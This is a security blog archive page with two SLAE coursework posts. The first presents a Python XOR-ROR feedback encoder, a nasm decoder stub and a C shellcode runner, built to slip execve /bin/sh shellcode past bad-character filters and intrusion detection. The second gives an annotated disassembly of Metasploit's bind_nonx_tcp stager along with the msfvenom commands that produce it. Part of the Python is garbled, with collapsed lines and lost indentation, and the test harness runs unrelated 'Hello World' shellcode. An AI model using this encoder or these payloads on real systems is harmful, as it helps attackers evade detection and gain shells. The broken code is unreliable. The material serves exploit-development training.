Tag Archives: exploit

SLAE #4: Custom XOR-ROR-Feedback Encoder

SLAE_logo2

Content

  1. Why encoding?
  2. What encoding algorithm
  3. Writing the encoder
  4. Writing the decoder
  5. Running the final product

1. Why encoding?

Two of the biggest challenges for using our shellcodes are:

  • Bad characters contained in the shellcode
  • Intrusion detection systems

Today I am writing an encoder to tackle both those points.

2. What encoding algorithm

There are an endless supply of logical, mathematical and other functions to choose from to encode a given plain text. Each come with their set of advantages and disadvantages.

Looking at the disadvantages I ruled out the following options for the given reasons:

  • Insertion adds considerable size to the payload.
  • Bitwise addition, subtraction, shift, etc. adds considerable size to the payload due to carry overs.
  • Simple XOR with single key allows holistic detection systems to identify a connection between the encoder and the encoded part, e.g.:
    • The stub contains the size of the encoded payload
    • The stub contains the marker that terminates the payload

XOR is without doubt the most suitable of the available algorithms as it is fast and encodes in place, i.e. it does not require additional space for the encoded text.

So how can we deal with the disadvantages?

Let’s stick with the marker terminating our string to be encoded. Some options are:

  • Encode the marker together with the plaintext= XOR ing the marker with the key would zero it out (as we use the key as the marker) πŸ™
  • Chain encoding= Encode the first byte with the key and subsequent bytes with the previous plaintext byte= Would create NULL bytes for duplicate bytes in a row πŸ™
  • Feedback encoding: Encode the first byte with the key and subsequent bytes with the previous encoded byte= Allows the decoding in reverse order without the key πŸ™
  • Feedback chain ror encoding: Encode the first byte with the key, create a new key by right rotating the previous plain text byte with the previous encoded byte= loses randomness midway throughout encoding longer strings πŸ™
  • Feedback chain additive ror encoding:
    1. Encode the first byte with the key
    2. Create a new key for encoding the next byte by:
      1. adding the current key to the current encoded byte
      2. Bitwise rotate the current plaintext byte by the sum of calculation 1.
    3. XOR the next byte with the new key
    4. After encoding the last byte, add the marker to the string and encode it in the same fashion πŸ™‚

slae04_00

Clear as mud I suppose?
There we have it. Our perfect algorithm.
Remember that the bytewise ROR only allows for 8 rotations before they repeat; the sole purpose of the additive rotations are to insert some “pseudo randomness” to avoid null bytes.

3. Writing the encoder

Let me translate the picture in my head into python code:

 
#!/usr/bin/env python
#####################################################################################
## [Name]: xor-ror-feedback-encoder.py -- shellcode encoder
##-----------------------------------------------------------------------------------
## [Author]: Re4son re4son [at] whitedome.com.au
##-----------------------------------------------------------------------------------
## [Details]: 
## Uses a random integer as initialisation vecor to xor the first byte of shellcode 
## then uses the un-encoded previous byte and ror's it 
## (encoded previous byte + initialisation vector) times - the result is used
## to xor the next byte
## the initialisation vectore will be attached to the shellcode as eol marker prior
## to encoding.
##
## Output:
##            1. the encoded payload only
##            2. the entire shellcode (stub and payload)
##            3. The nasm code of the stub containing the payload
##
## A warning will be displayed if bad characters are deteced inside the 
## encoded shellcode - just run it again.
##
## A bigger warning will be displayed if the stub cotains a bad char
##-----------------------------------------------------------------------------------
## [Usage]:
##          Insert your shellcode into SHELLCODE constant, define bad chars
##   run    python xor-ror-feedback-encoder
#####################################################################################
import os
from random import randint


SHELLCODE = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
BADCHARS = ("\x00\x0a\x3b")
STUB = ("\xfc\xb2\x00\x52\xeb\x13\x5e\x58\x8a\x0e\x30\x06\x8a\x06\x01\xd1\xd2\xc8\x38\x16\x74\x08\x46\xeb\xef\xe8\xe8\xff\xff\xff")
keypos = 3 		## what position in the stub shall be replaced with the key?
LINEWIDTH = 12		## set to higher than final shellcode length for now line break
encoded = "\""
encoded2 = ""
i = 1
badcharalert = 0	## No of bad chars in shellcode
realbadalert = 0	## No of bad chars in stub

def mask(n):
   """Return a bitmask of length n (suitable for masking against an
      int to coerce the size to a given length)
   """
   if n >= 0:
       return 2**n - 1
   else:
       return 0

def ror(n, rotations=1, width=8):
    """Return a given number of bitwise right rotations of an integer n,
       for a given bit field width.
    """
    rotations %= width
    if rotations < 1:         return n     n &= mask(width)     return (n >> rotations) | ((n << (width - rotations)) & mask(width)) def initkey(shellcode):    """Return a random integer without occurrence in shellcode    """    IV = randint(1, 255)			## Get a random initialisation vector    n = 254				## we will try up to 254 times to find a unique vector    while (n > 0):			## We increase IV by 1 until we find one that is unique
	for x in bytearray(SHELLCODE):
		if (IV == x):
			if (IV < 0xff): 				IV += 1 			else: 				IV = 1 			n -= 1 			break 	break    return IV 			 IV = initkey(SHELLCODE) key = IV for x in bytearray(STUB) : 	if (keypos > 0):
		if (keypos == 1):
			x = key
		keypos -=1
	for z in bytearray(BADCHARS):
		if (x == z):
			realbadalert += 1
	encoded += '\\x'
	encoded += '%02x' % x
	if (i == LINEWIDTH):
        	encoded += '\"\n\"'
        	i = 0
	i += 1

for x in bytearray(SHELLCODE) :
	# XOR Encoding 
	y = x^key
	key = ror(x,(y+IV))
	for z in bytearray(BADCHARS):
		if (y == z):
			badcharalert += 1
	encoded += '\\x'
	encoded += '%02x' % y
	if (i == LINEWIDTH):
        	encoded += '\"\n\"'
        	i = 0
	i += 1
	encoded2 += '0x'
	encoded2 += '%02x,' %y

y = IV^key
encoded += '\\x'
encoded += '%02x' % y
encoded += '\"'

encoded2 += '0x'
encoded2 += '%02x' %y

if (realbadalert > 0):
	print '\n\t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'
	print '\t!!################################################!!'	
	print '\t!!##      EXTREME WARNING - EXTREME WARNING     ##!!'
	print '\t!!##       Found %02d bad chars  in stub!!        ##!!' % realbadalert
	print '\t!!################################################!!'
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
	os.system("""bash -c 'read -s -n 1 -p "Press any key to continue...\n"'""")

if (badcharalert > 0):
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!'
	print '\t!!        WARNING       !!'
	print '\t!!  Found %02d bad chars  !!' % badcharalert
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
print '[+] Key: 0x%02x' %IV
print '**********************'
print '** Encoded payload: **'
print '**********************'
print encoded2
print 'Len: %d' % (len(bytearray(SHELLCODE)) +1)
print '\n*****************************************'
print '** Shellcode (stub + encoded payload): **'
print '*****************************************'
print encoded
##print 'Len: %d \n' % ((len(bytearray(SHELLCODE)) + 1 + (len(bytearray(STUB)))

print '\n*********************'
print '** nasm shellcode: **'
print '*********************'
print '; Filename: xor-ror-feedback-decoder.nasm'
print '; Author:  Re4son re4son [at] whitedome.com.au'
print '; Purpose: XOR-ROR feedback encoder'
print '\n'
print 'global _start'			
print 'section .text'
print '_start:'
print '  cld				; zero out edx'
print '  mov dl, 0x%02x			; initialisation vector used to find end of encoded shellcode' %IV
print '  push edx			;  and used as initial xor key'
print '  jmp call_decoder		; jmp / call/ pop'
print 'decoder:'
print '  pop esi			; jmp, call, pop'
print '  pop eax			; use key as initial xor vector'
print 'decode:'
print '  mov byte cl,[esi]		; encoded byte will define no of ror rotations of key for next xor'
print '  xor byte [esi], al		; xor current byte with vector'
print '  cmp byte [esi], dl		; have we decoded the end of shellcode string?'
print '  jz shellcode			; if so, execute the shellcode'
print '  mov al, byte [esi]		; decrypted byte will be the base for rotation to get key for next xor'
print '  add ecx, edx			; add initial key to ecx'
print '  ror al, cl			; rotate decrypted left byte times (encrypted left byte * initialisation vector)'
print '  inc esi			; move to the next byte'
print '  jmp short decode		; loop until entire shellcode is decoded'
print 'call_decoder:'
print '  call decoder			; jmp / call / pop'
print 'shellcode: db ' + encoded2
if (badcharalert > 0):
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!'
	print '\t!!        WARNING       !!'
	print '\t!!  Found %02d bad chars  !!' % badcharalert
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!'

Looks promising. Let’s give it a try:
slae04_01

The user will be notified if the shellcode contains bad characters:
slae04_02
If that happen, just run it again and again until a key is generated that works.

In extremely unlucky circumstances with many bad chararcters, our stub may contain one. Our encoder will make us aware of that:
slae04_03
We should never get this, but here is what we have to do if we are unfortunate: we manually have to find alternative opcodes for the offending ones.

4. Writing the decoder

Now that we have the encoded payload it’s time to work on the decoder part in nasm:

; Filename: xor-ror-feedback-decoder.nasm
; Author:  Re4son re4son [at] whitedome.com.au
; Purpose: XOR-ROR feedback encoder


global _start
section .text
_start:
  cld				; zero out edx
  mov dl, 0x2c			; initial key used to find end of encoded shellcode
  push edx			;  and used as initial xor key
  jmp call_decoder		; jmp / call/ pop
decoder:
  pop esi			; jmp, call, pop
  pop eax			; use key as initial xor vector
decode:
  mov byte cl,[esi]		; encoded byte will define no of ror rotations of key for next xor
  xor byte [esi], al		; xor current byte with vector
  cmp byte [esi], dl		; have we decoded the end of shellcode string?
  jz shellcode			; if so, execute the shellcode
  mov al, byte [esi]		; decrypted byte will be the base for rotation to get key for next xor
  add ecx, edx			; add initial key to ecx
  ror al, cl			; rotate decrypted left byte times (encrypted left byte * initialisation vector)
  inc esi			; move to the next byte
  jmp short decode		; loop until entire shellcode is decoded
call_decoder:
  call decoder			; jmp / call / pop
shellcode: db 0x1d,0x58,0x5c,0x38,0xa9,0x56,0xb8,0x5f,0x65,0x1b,0x3c,0x0b,0xbc,0xe7,0xd2,0xdf,0x83,0xf1,0x44,0xda,0xc7,0x8c,0xbb,0xdb,0x1b,0x2d

Looks promising.
Let’s watch the decoding in action using gdb:

Perfect. Works as advertised.

5. Compile and test the final package

Lets pop it into our POC program:

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x17\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x59\x31\xd2\xb2\x0d\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe4\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x0a";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

And run it:

slae04_04

Mission accomplished.

All files are available on github.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwitterredditpinterestlinkedinmail

SLAE 5.3: linux/x86/shell/bind_nonx_tcp shellcode analysis

SLAE_logo2

Content

  1. Introduction
  2. Generate shellcode
  3. Analysis
  4. Conclusion
  5. Execute re-engineered shellcode

1. Introduction

In previous chapters we’ve looked into the meterpreter reverse tcp shell & the adduser shellcodes.
Today I am going to dig into the linux/x86/shell/bind_nonx_tcp shellcode to find the difference between the normal and the noNX payloads.

2. Generate shellcode

I am going to create the raw shellcode and shoot it through ndisasm to disassemble it:

msfvenom -p linux/x86/shell/bind_nonx_tcp LPORT=1337  -a x86 --platform Linux | ndisasm -u -
No encoder or badchars specified, outputting raw payload

00000000  31DB              xor ebx,ebx
00000002  53                push ebx
00000003  43                inc ebx
00000004  53                push ebx
00000005  6A02              push byte +0x2
00000007  6A66              push byte +0x66
00000009  58                pop eax
0000000A  99                cdq
0000000B  89E1              mov ecx,esp
0000000D  CD80              int 0x80
0000000F  96                xchg eax,esi
00000010  43                inc ebx
00000011  52                push edx
00000012  66680539          push word 0x3905
00000016  6653              push bx
00000018  89E1              mov ecx,esp
0000001A  6A66              push byte +0x66
0000001C  58                pop eax
0000001D  50                push eax
0000001E  51                push ecx
0000001F  56                push esi
00000020  89E1              mov ecx,esp
00000022  CD80              int 0x80
00000024  B066              mov al,0x66
00000026  D1E3              shl ebx,1
00000028  CD80              int 0x80
0000002A  52                push edx
0000002B  52                push edx
0000002C  56                push esi
0000002D  43                inc ebx
0000002E  89E1              mov ecx,esp
00000030  B066              mov al,0x66
00000032  CD80              int 0x80
00000034  93                xchg eax,ebx
00000035  B60C              mov dh,0xc
00000037  B003              mov al,0x3
00000039  CD80              int 0x80
0000003B  89DF              mov edi,ebx
0000003D  FFE1              jmp ecx

Looks familiar with it’s 4 0x66 system calls: It’s pretty much the same as the bind shell in section 1 of this blog except the last bit were it executes a second stage shellcode instead of /bin/shell.
Why don’t we pipe it through libemu to get pretty pictures?

msfvenom -p linux/x86/shell/bind_nonx_tcp LPORT=1337 -a x86 --platform Linux | /usr/bin/sctest -vvv -Ss 100000 -G msf_nonx_bind_shell.dot
dot msf_nonx_bind_shell.dot -Tpng -o msf_nonx_bind_shell.png

And here we have it:

msf_nonx_bind_shell

Libemu also provides us with a high level syntax interpretation:

int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int bind (
     int sockfd = 14;
     struct sockaddr_in * my_addr = 0x00416fba => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 14597 (port=1337);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 0 (host=0.0.0.0);
             };
             char sin_zero = "       ";
         };
     int addrlen = 102;
) =  0;
int listen (
     int s = 14;
     int backlog = 4288442;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 => 
         none;
     int addrlen = 0x00000000 => 
         none;
) =  19;

3. Analysis

libemu choked a bit at the end again but it visualizes the disassembly well enough to make sense of it at first glance.

I am going to copy and paste the disassembled code into it’s own source file and add some comments as I go (mostly some information from the relevant man pages of the system calls as well as from our favorite system call table):

; Filename: msf_non_bind_shell.nasm
; Author: Metasploit
; Analysed by Re4son 
; Purpose: Disassembly of msf linux/x86/shell/bind_nonx_tcp
;          for research purpose


global _start           

section .text

_start:

    ; --- socket - create an endpoint for communication ---
    ; int socket(int domain, int type, int protocol)

    xor    ebx,ebx	; zero out ebx
    push   ebx          ; push IPPROTO = 0
    inc    ebx
    push   ebx          ; push SOCK_STREAM=1
    push   0x2          ; push AF_INET=2
    push   0x66 	; put sys_socketcall
    pop    eax		;  into eax
    cdq			; zero out edx
    mov    ecx,esp	; store pointer to arguments in ecx
    int    0x80         ; invoke system call
    xchg   eax,esi	; store the socket file descriptor in esi


    ; --- bind - bind a name to a socket ---
    ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

    inc ebx	    	; increase the sub call function number to 2 for bind
    push edx        	; INADDR_ANY
    push word 0x3905	; port 1337 in little endian
    push word bx   	; AF_INET
    mov ecx, esp    	; store pointer to the structure in ecx
    push   0x66 	; put sys_socketcall
    pop    eax		;  into eax
    push eax         	; and use it as sizeof(struct sockaddr_in)
    push ecx        	; &serv_addr
    push esi        	; our socket descriptor
    mov ecx, esp    	; store pointer to arguments in ecx
    int 0x80        	; execute system call


    ; --- listen - listen for connections on a socket ---
    ; int listen(int sockfd, int backlog)
    mov al, 0x66   	; store sys_socketcall system call number in eax
    shl ebx,1		; increase ebx to 4 for listen sub function call number
    int 0x80        	; execute system call


    ; --- accept - accept a connection on a socket ---
    ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
    push edx        	; NULL addrlen
    push edx        	; NULL sockaddr
    push esi        	; sockfd
    inc ebx	    	; increase sub function number in bl to 5 for accept
    mov ecx, esp    	; store pointer to arguments in ecx
    mov eax, 0x66    	; store sys_socketcall system call number in eax
    int 0x80        	; execute system call
    xchg eax, ebx    	; store the new socket file descriptor in ebx for later


    ; --- read - read from a file descriptor (receive 2n stage shellcode)
    ; ssize_t read(int fd, void *buf, size_t count)
    ; note that ecx still points to our previous arguments on the stack
    ;   we will re-use that region as buffer
    mov    dh,0xc             ; set the size to 3072 bytes
    mov    al,0x3             ; move sys_read into al
    int    0x80               ; invoke read system call


    ; transfer execution to the second stage
    mov edi,ebx		      ; store socket file descriptor in edi
    jmp ecx		      ; execute second stage

There we have it. All explained in the source code.

The only really new bit in this code is the lack of initializing a buffer to receive the second stage shellcode.
We are simply overwriting the area of the stack that we used previously.

4. Conclusion

  • Regular shellcode is suitable for systems with data execution prevention by using mprotect to create an executable buffer.
  • NoNX shellcode omits this step in favor of size but the stack must be executable.

5. Execute re-engineered shellcode

Let’s run it to ensure that everything I did and said actually works:

slae05_04

Great. It all makes sense now.

All files are available on github.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwitterredditpinterestlinkedinmail